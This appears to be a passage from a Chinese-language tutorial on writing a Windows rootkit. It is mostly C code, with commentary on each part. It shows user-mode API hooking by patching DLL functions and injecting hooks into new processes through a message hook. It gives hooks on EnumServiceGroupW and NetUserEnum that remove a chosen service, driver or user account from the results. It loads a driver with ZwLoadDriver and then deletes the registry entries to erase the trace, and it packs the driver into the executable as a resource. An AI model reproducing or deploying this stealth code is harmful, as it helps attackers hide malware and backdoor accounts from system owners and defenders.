用戶態的HOOK有很多方法,比如修改函數的前5個字節,修改輸入表等,這里采用eyas大哥的方法COPY DLL,主要是這種方法效率不錯。HOOK新進程采用消息鉤子,所以需要編寫成DLL。
HOOK的步驟首先將需要HOOK的DLL加載到當前進程的地址空間中,然后使用PSAPI中的GetModuleInformation函數獲取DLL信息,目的是得到DLL的加載地址。
BOOL InitHookDll (TCHAR *Name,LPDLLINFO lpHookDllInfo)
{
//取得摸快句炳
if ((lpHookDllInfo->hModule=LoadLibrary(Name))==NULL)
{
//錯誤處理
}
//獲取摸快信息
if (!GetModuleInformation(GetCurrentProcess(),lpHookDllInfo->hModule,
&lpHookDllInfo->ModuleInfo,sizeof(MODULEINFO)))
{
//錯誤處理
}
if ((lpHookDllInfo->NewBase=malloc
(lpHookDllInfo->ModuleInfo.SizeOfImage))==NULL)
{
//錯誤處理
}
//取得摸快地址
memcpy(lpHookDllInfo->NewBase,lpHookDllInfo->ModuleInfo.lpBaseOfDll,
lpHookDllInfo->ModuleInfo.SizeOfImage);
return TRUE;
}
DLLINFO是一個自定義結構,保存著模塊的句柄、地址等。DLL加載后,模塊信息也有了,下面使用GetProcAddress函數取HOOK函數地址,VirtualQuery函數獲取虛擬內存信息,VirtualProtect函數改變頁面屬性,最后修改原函數的地址(GetProcAddress函數的返回值)使其指向我們的代碼。
BOOL HookUserApi (LPDLLINFO lpHookDllInfo,TCHAR *Name,DWORD OldFunc,DWORD *NewFunc)
{
//取得需要HOOK函數的地址
if ((OrigFunc=(DWORD) GetProcAddress (lpHookDllInfo->hModule,Name))==NULL)
{
//錯誤處理
}
//獲取虛擬內存信息
if (!VirtualQuery((LPVOID)OrigFunc,&mbi,
sizeof(MEMORY_BASIC_INFORMATION)))
{
//錯誤處理
}
//改變頁面屬性為讀,寫,執行
if (!VirtualProtect(mbi.BaseAddress,mbi.RegionSize,
PAGE_EXECUTE_READWRITE,&Protect))
{
//錯誤處理
}
//HOOK
JmpCode.mov_eax=(BYTE)0xB8;
JmpCode.address=(LPVOID)OldFunc;
JmpCode.jmp_eax=(WORD)0xE0FF;
//計算原函數地址
*NewFunc=OrigFunc - (DWORD)lpHookDllInfo->ModuleInfo.lpBaseOfDll
+ (DWORD)lpHookDllInfo->NewBase;
//修改原函數地址,指向OldFunc
memcpy((LPVOID)OrigFunc,(UCHAR *)&JmpCode,sizeof(ASMJUMP));
return TRUE;
}
JmpCode是HOOK結構,保存著我們的函數的地址和JMP的跳轉地址。有了上面這2個函數,就可以HOOK任何DLL中的函數了,例如枚舉用戶使用的是NetUserEnum函數,封裝在Netapi32.dll中,HOOK例子如下:
DWORD WINAPI HookMain (LPVOID lpNot)
{
if (!(InitHookDll("netapi32.dll",&Netapi32)))
{
//錯誤處理
}
if (!(HookUserApi(&Netapi32,"NetUserEnum",(DWORD)HookNetUserEnum,
&NewNetUserEnum)))
{
//錯誤處理
}
......
}
HookMain函數需要在DllMain中調用,因為消息鉤子加載DLL后,就應該立刻進行API HOOK。Netapi32是DLLINFO結構,保存著Netapi32.dll的信息;HookNetUserEnum是我們的函數,NewNetUserEnum是原函數地址。現在只差消息鉤子函數了,安裝/卸載消息鉤子的函數需要引出,消息鉤子的類型是WH_GETMESSAGE,鉤子回調函數什么都不做,只是向下傳遞,因為我們的目的是使新進程加載DLL。
LRESULT WINAPI Hook (int nCode,WPARAM wParam,LPARAM lParam)
{
//向下傳遞
return CallNextHookEx(hHook,nCode,wParam,lParam);
}
extern "C" __declspec(dllexport) BOOL InstallHook()
{
//安裝鉤子
if ((hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,
hInst,0))==NULL)
{
//錯誤處理
}
return TRUE;
}
extern "C" __declspec(dllexport) BOOL UninstallHook()
{
//卸載鉤子
return UnhookWindowsHookEx(hHook);
}
hInst是在DllMain函數中保存的句柄,這是必須的,否則鉤子不會安裝成功。用戶態的HOOK有很多種方法,用哪個隨便你了,只要能HOOK API就行!下面介紹隱藏服務/驅動。
十、隱藏服務/驅動
枚舉服務使用的是Advapi32.dll中的5個函數,這5個函數在每個Windows系統中的聯系都不一樣,所以需要HOOK所有函數。
EnumServicesStatusA()
EnumServicesStatusW()
EnumServicesStatusExA()
EnumServicesStatusExW()
EnumServiceGroupW()
這5個函數中,前4個是公開的,在MSDN中均有敘述,只有最后一個是MS沒有公開的,而且只有Unicode版的函數。它的參數和其他4個函數基本一樣,返回的結構是LPENUM_SERVICE_STATUS,這個結構也是EnumServicesStatus函數所返回的。5個函數中都有一個dwServiceType參數,表示服務類型,SERVICE_WIN32表示標準Win32服務,SERVICE_DRIVER表示設備驅動。lpServicesReturned為返回服務總數,隱藏的方法還是memcpy移動緩沖區。我們以EnumServiceGroupW函數為例,來看一下代碼。
BOOL WINAPI HookEnumServiceGroupW (SC_HANDLE hSCManager,……)
{
......
__asm
{
//參數入棧,注意順序,要遵循__stdcall調用約定
push dwUnknown
push lpResumeHandle
push lpServicesReturned
push pcbBytesNeeded
push cbBufSize
push lpServices
push dwServiceState
push dwServiceType
push hSCManager
mov eax,NewEnumServiceGroupW //原函數地址放入EAX
call eax //請求
mov sRet,eax //返回值
}
if (sRet)
{
//處理服務和驅動
if (dwServiceType==SERVICE_WIN32 || dwServiceType==SERVICE_DRIVER)
{
//指向服務列表緩沖區
lpEnumServiceGroupW=(LPENUM_SERVICE_STATUSW)lpServices;
for (DWORD n=0; n<*lpServicesReturned; n++)
{
......
if (strnicmp(HIDDEN_SYSTEM_SERVICE,ServiceNameAnsi,
strlen(ServiceNameAnsi))==0)
{
//向前移動服務列表緩沖區
memcpy((lpEnumServiceGroupW+n),(lpEnumServiceGroupW+n+1),
((*lpServicesReturned)-n-1) * sizeof (ENUM_SERVICE_STATUSW));
(*lpServicesReturned)--; //總數要-1
n--;
}
}
}
}
return sRet;
}
上邊的代碼應該很容易理解了,我們隱藏服務/驅動,只需要判斷服務名,所以dwServiceType就一塊處理了,不必分開。另外請求原函數要遵循__stdcall調用約定,參數從右向左順序入棧,最后將原函數地址放入EAX中CALL即可。
十一、隱藏用戶
枚舉用戶有3種方法,其一是使用Netapi32.dll中的函數,另一個就是枚舉注冊表的SAM鍵了。隱藏注冊表前邊已經說過了,這里說一下Netapi32.dll導出的3個函數:
NetUserEnum()
NetGroupGetUsers()
NetQueryDisplayInformation()
第一個函數是枚舉用戶;第二個函數是獲取組內的用戶,但根據MSDN的描述,這個函數只適用于域控制器;第三個函數可以枚舉用戶、組和計算機。NetUserEnum函數支持8種枚舉類型,每種類型返回的結構有些不同(其實只是結構成員的名字不同),需要分別處理,另外2個函數也有多種類型,但只有一種是枚舉用戶的,HOOK這個類型就可以了。3個函數的隱藏方法都是memcpy移動緩沖區,這里以NetUserEnum函數、枚舉類型為0進行介紹,其他2個函數和它是一樣的,只是結構體不同。
NET_API_STATUS WINAPI HookNetUserEnum (LPCWSTR servername,……)
{
......
__asm
{
push resume_handle
push totalentries
push entriesread
push prefmaxlen
push bufptr
push filter
push level
push servername
mov eax,NewNetUserEnum
call eax
mov nStatus,eax
}
if ((nStatus==NERR_Success) && (bufptr!=NULL))
{
if (level==0) //處理枚舉類型為0
{
//注意bufptr是2級指針
LPUSER_INFO_0 lpUserInfo=*((LPUSER_INFO_0 *)bufptr);
if ((nStatus==NERR_Success) || (nStatus==ERROR_MORE_DATA))
{
for (DWORD n=0;n<*entriesread;n++)
{
......
if (strnicmp(HIDDEN_SYSTEM_USER,UserNameAnsi,
strlen(UserNameAnsi))==0)
{
//向前移動用戶列表緩沖區
memcpy((lpUserInfo+n),(lpUserInfo+n+1),
((*entriesread)-n-1) * sizeof (USER_INFO_0));
(*entriesread)--; //總數--
n--;
}
}
}
}
......
}
return nStatus;
}
Level表示枚舉類型,MSDN中有詳細的定義。這3個函數都是Unicode版本,沒有ANSI。
十二、驅動的加載與整合
加載驅動一般都是使用Servcie API,但Servcie API創建的服務會在注冊表留下痕跡,這不是我們想要的,應該使用一種更好的方法。Native API有2個函數,可以實現驅動的動態加/卸載,不用寫注冊表,它們是ZwLoadDriver和ZwUnloadDriver函數。使用這2個函數加/卸載驅動,也需要寫一下注冊表,不過只是配合這2個函數,待驅動加/卸載完成后,就可以刪除建立的注冊表項,也就是說,我們建立的注冊表項最多停留幾秒。需要建立的注冊表項就是一些服務的鍵值,比如Type(服務類型),Start(啟動類型),ImagePath(驅動路徑)等,完整的代碼在DevelopmentSetRegistry函數中,就不帖出來了,只帖出動態加/卸載的函數代碼。注:動態加/卸載驅動時,已經完成了設置注冊表,動態加/卸載驅動后,還要刪除注冊表項,切記。
BOOL DevelopmentLaodDriver (WCHAR *DriverName,BOOL LoadBelong)
{
......
//加載ntdll.dll
if ((hModule=LoadLibrary("ntdll.dll"))==NULL)
{
//錯誤處理
}
//取得若干函數的地址
ZwLoadDriver=(ZwLoadDriverOld) GetProcAddress (hModule,"ZwLoadDriver");
ZwUnloadDriver=(ZwUnloadDriverOld) GetProcAddress (hModule,"ZwUnloadDriver");
RtlInitUnicodeString=(RtlInitUnicodeStringOld) GetProcAddress
(hModule,"RtlInitUnicodeString");
RtlNtStatusToDosError=(RtlNtStatusToDosErrorOld) GetProcAddress
(hModule,"RtlNtStatusToDosError");
swprintf(RegDriver,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%s",
DriverName);
RtlInitUnicodeString(&ModuleNameWide,RegDriver);
if (LoadBelong) //TRUE 加載
{
//加載驅動
ntStatus=ZwLoadDriver(&ModuleNameWide);
......
}
if (!LoadBelong) //FALSE卸載
{
//卸載驅動
ntStatus=ZwUnloadDriver(&ModuleNameWide);
......
}
return TRUE;
}
我們需要使用一個EXE來操作SYS,這樣帶著2個文件滿處跑肯定不方便,所以有必要將其整合。整合的方法有很多,比如放在EXE結尾、將SYS轉化為16進制代碼,或者做成資源文件。相比之下,做成資源文件比較簡單,也不會給EXE增加太多的體積,運行時一釋放就OK了。釋放資源需要一系列資源函數,最后使用fwrite將文件寫入硬盤。我寫了一個ReleaseResource函數,用于實現這個功能。
BOOL ReleaseResource (TCHAR *DriverPath)
{
......
//查找資源 SYS是資源名 SYSRES是資源類名
if ((hFind=FindResource(NULL,"SYS","SYSRES"))==NULL)
{
//錯誤處理
}
//加載資源
if ((hLoad=LoadResource(NULL,hFind))==NULL)
{
//錯誤處理
}
//取得資源大小
if ((Size=SizeofResource(NULL,hFind))==0)
{
//錯誤處理
}
//取得釋放地址
if ((LockAddr=LockResource(hLoad))==NULL)
{
//錯誤處理
}
//打開文件
if ((fp=fopen(DriverPath,"wb"))==NULL)
{
//錯誤處理
}
//寫入
fwrite(LockAddr,1,Size,fp);
......
}
有了這個函數,就可以只帶著EXE滿世界跑了。
文章寫了這么長,是時候結束了,從上面的講解中不難看出,我們只要對Windows內核有一點了解,就可以開發一個簡單的Rootkit,光盤中包含了本文完整的源代碼,如對本文有任何問題,歡迎發郵件給我
dahubaobao@eviloctal.com。
十三、附錄下載
FileInfo(枚舉文件目錄結構)
包含隱藏服務/驅動、用戶以及用戶態HOOK的DLL程序
包含隱藏進程、文件/目錄、端口、注冊表和內核模塊的SYS以及加載程序